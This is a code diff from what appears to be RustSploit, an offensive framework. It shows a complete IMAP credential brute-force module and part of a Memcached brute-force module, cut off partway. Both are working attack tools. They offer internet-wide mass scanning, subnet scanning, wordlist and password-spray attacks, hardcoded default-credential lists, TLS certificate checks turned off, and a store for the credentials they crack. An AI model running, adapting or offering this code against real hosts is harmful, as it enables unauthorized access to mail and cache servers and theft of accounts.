crate::mprintln!("\n{}", "=== IMAP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "IMAP",
|
||||
default_port: if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT },
|
||||
state_file: "imap_hose_state.log",
|
||||
default_output: "imap_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let mut retry_attempt: u32 = 0;
|
||||
let max_retries: u32 = 3;
|
||||
let mut should_skip_host = false;
|
||||
loop {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&t, port, &u, &p, use_tls, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
|
||||
return Some(line);
|
||||
}
|
||||
Ok(Ok(false)) => break, // auth failed, try next
|
||||
Ok(Err(e)) => {
|
||||
if e.error_type.is_retryable() && retry_attempt < max_retries {
|
||||
retry_attempt += 1;
|
||||
let delay = backoff_delay(500, retry_attempt, 8);
|
||||
tokio::time::sleep(delay).await;
|
||||
continue;
|
||||
}
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
Err(_) => {
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if should_skip_host {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "imap_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "imap",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/imap_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&target_str, port, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "imap_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&t, p, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "imap",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/imap_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored IMAP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "imap_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# IMAP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// IMAP Protocol Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt IMAP LOGIN authentication.
|
||||
/// Connects, reads the greeting banner (* OK ...), sends LOGIN command,
|
||||
/// and checks for A001 OK (success) or A001 NO (failure).
|
||||
/// Returns Ok(true) on success, Ok(false) on auth rejection, Err on connection issues.
|
||||
fn attempt_imap_login(
|
||||
target: &str,
|
||||
port: u16,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
use_tls: bool,
|
||||
timeout_secs: u64,
|
||||
) -> std::result::Result<bool, ImapError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
// IMAP LOGIN command: escape backslashes and quotes per RFC 3501 Section 9
|
||||
let escaped_user = user.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let escaped_pass = pass.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let login_cmd = format!("A001 LOGIN \"{}\" \"{}\"\r\n", escaped_user, escaped_pass);
|
||||
|
||||
if use_tls {
|
||||
let connector = TlsConnector::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut stream = connector.connect(target, stream).map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
} else {
|
||||
// Plaintext IMAP connection
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,723 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_MEMCACHED_PORT: u16 = 11211;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Memcached binary protocol constants
|
||||
const BINARY_MAGIC_REQUEST: u8 = 0x80;
|
||||
const BINARY_MAGIC_RESPONSE: u8 = 0x81;
|
||||
const OPCODE_SASL_AUTH: u8 = 0x21;
|
||||
const SASL_STATUS_SUCCESS: u16 = 0x0000;
|
||||
const SASL_STATUS_AUTH_ERROR: u16 = 0x0020;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("memcached", "memcached"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
("memcache", "memcache"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Memcached Brute Force".to_string(),
|
||||
description: "Detect open Memcached instances and brute-force SASL authentication. \
|
||||
First checks for unauthenticated access (text protocol version/stats commands), \
|
||||
then attempts SASL PLAIN auth over the binary protocol. Supports default credential \
|
||||
testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Memcached Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Open Instance Detection + SASL Auth Testing (11211) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Memcached",
|
||||
default_port: 11211,
|
||||
state_file: "memcached_hose_state.log",
|
||||
default_output: "memcached_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let connect_timeout = Duration::from_secs(5);
|
||||
let read_timeout = Duration::from_secs(3);
|
||||
|
||||
// Try to connect and send version command
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, connect_timeout).await {
|
||||
Ok(s) => s,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
// Send text protocol version command
|
||||
if timeout(connect_timeout, stream.write_all(b"version\r\n"))
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 1024];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
|
||||
if response.contains("VERSION") {
|
||||
// Open Memcached instance (no auth)
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"memcached",
|
||||
"(open)",
|
||||
"(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{} Memcached OPEN (no auth) - {}\n",
|
||||
ts,
|
||||
ip,
|
||||
port,
|
||||
response.trim()
|
||||
));
|
||||
}
|
||||
|
||||
if response.contains("ERROR") {
|
||||
// Might need SASL auth — try default creds via binary protocol
|
||||
let creds = [
|
||||
("admin", "admin"),
|
||||
("memcached", "memcached"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
// Need a fresh connection for each SASL attempt
|
||||
if let Ok(result) =
|
||||
try_memcached_sasl(&addr, user, pass, connect_timeout, read_timeout)
|
||||
.await
|
||||
{
|
||||
if result {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"memcached",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 =
|
||||
cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"memcached_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
let connect_timeout = Duration::from_millis(timeout_secs * 1000);
|
||||
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "memcached",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/memcached_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let ct = connect_timeout;
|
||||
let rt = read_timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_memcached_sasl(&addr, &user, &pass, ct, rt).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
// First, check if the instance is open (unauthenticated)
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Checking {} for unauthenticated access...", connect_addr).cyan()
|
||||
);
|
||||
|
||||
let connect_timeout = Duration::from_millis(CONNECT_TIMEOUT_MS);
|
||||
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
match check_memcached_open(&connect_addr, connect_timeout, read_timeout).await {
|
||||
MemcachedStatus::Open(version) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] Memcached at {} is OPEN (no authentication required)!",
|
||||
connect_addr
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
crate::mprintln!("{}", format!("[+] Version: {}", version).green());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[!] WARNING: This Memcached instance is publicly accessible without auth."
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&normalized,
|
||||
port,
|
||||
"memcached",
|
||||
"(open)",
|
||||
"(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
|
||||
let continue_brute =
|
||||
cfg_prompt_yes_no("continue_bruteforce", "Continue with SASL brute-force anyway?", false).await?;
|
||||
if !continue_brute {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
MemcachedStatus::AuthRequired => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Memcached requires SASL authentication. Proceeding with brute-force.".cyan()
|
||||
);
|
||||
}
|
||||
MemcachedStatus::Unreachable(err) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[!] Cannot connect to {}: {}", connect_addr, err).red()
|
||||
);
|
||||
let continue_anyway =
|
||||
cfg_prompt_yes_no("continue_anyway", "Continue anyway?", false).await?;
|
||||
if !continue_anyway {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
